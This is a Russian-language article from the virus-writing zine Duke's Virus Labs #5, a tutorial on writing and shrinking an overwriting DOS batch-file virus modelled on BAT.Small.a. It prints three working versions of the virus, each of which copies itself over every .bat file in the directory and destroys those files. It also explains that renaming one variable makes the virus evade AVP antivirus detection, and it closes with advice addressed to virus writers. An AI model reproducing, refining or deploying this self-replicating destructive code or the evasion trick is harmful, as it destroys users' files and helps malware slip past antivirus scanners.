- [Duke's Virus Labs #5] - [Page 11] - Tutorial: пишем BAT.Small вирус (выдержка из моей статьи для Moon Bug #10) (c) by Duke/SMF Не так давно программа AVP стала детектировать вирус BAT.Small.a . Мне стало интересно - чего же там такого Small и неужели он короче моих BAT-вирусов (см. мой BAT-virii Tutorial в DVL #1 . Я буду часто на него ссылаться в этой статье). И мне повезло - на одном из VX-сайтов я скачал этот вирус. Поглядел я в него, и понял, что ничего хорошего в нем нет, простейший overwriting вирус на BAT-языке. Фу... Но раз прецедент создан, будем и мы писать BAT.Small-вирусы. Правда, повыше качеством :) Я не собираюсь публиковать в журнале вирус BAT.Small.a . Написал его не я, а MiDeZ, и нечего публиковать чужие работы без ведома автора. Зато я замечу, что стоит исправить в вирусе имя переменной с "m" на другую букву, как вирус перестает детектироваться AVP :)) [ Да, BAT-эвристикой в AVP и не пахнет... ] Вот этот вариант (ex_1.bat) в 57 байт (пораженный файл - 58 байт) : ===== Cut here ===== @echo off for %%b in (*.bat) do copy %0.bat+%0 %%b>nul ===== Cut here ===== А теперь запустите этот файл. Чего там вам DOS сказал? "Содержимое конечного файла утрачено до копирования" ? А вы чего хотели, надо было мой туториал читать ! Никакие "@echo off" и ">nul" вам тут не помогут... И вообще - зачем нужна возня с "%0.bat+%0" ? Лишние байтики сжирать (ведь из-за этого добавляется символ 1Ah) ? Ну уж нет ! Достаточно из всего этого многообразия оставить только "%0". Работать будет не хуже, а длина меньше. Да еще надо убрать идиотский перевод строки в конце файла - экономия двух байт! Получили вирус длиной 48 байт (ex_2.bat) : ===== Cut here ===== @echo off for %%b in (*.bat) do copy %0 %%b>nul ===== Cut here ===== Теперь при запуске вируса DOS сообщает, что "Файл не может быть скопирован поверх самого себя". Тоже мне, нашел чем удивить :( Но я не для этого кашу заварил - раз уж пишем вирус, так надо писать качественный вирус. Убьем одним махом двух зайцев: избавимся от этого сообщения и сократим длину. Опять вспоминаем мои советы в туториале :)) Меняем "@echo off" на "@ctty nul" и убираем ">nul" - 4 байта ! Получили вирус длиной 44 байта (ex_3.bat) : ===== Cut here ===== @ctty nul for %%b in (*.bat) do copy %0 %%b ===== Cut here ===== Итак, мы оптимизировали вирус BAT.Small.a на 13 байт + избавились от идиотских надписей. В дальнейшем я настоятельно рекомендую вирусописателям более тщательно тестировать свои поделки на наличие багов и возможность оптимизации. Этим вы сбережете нервы пользователей вашего ПО :))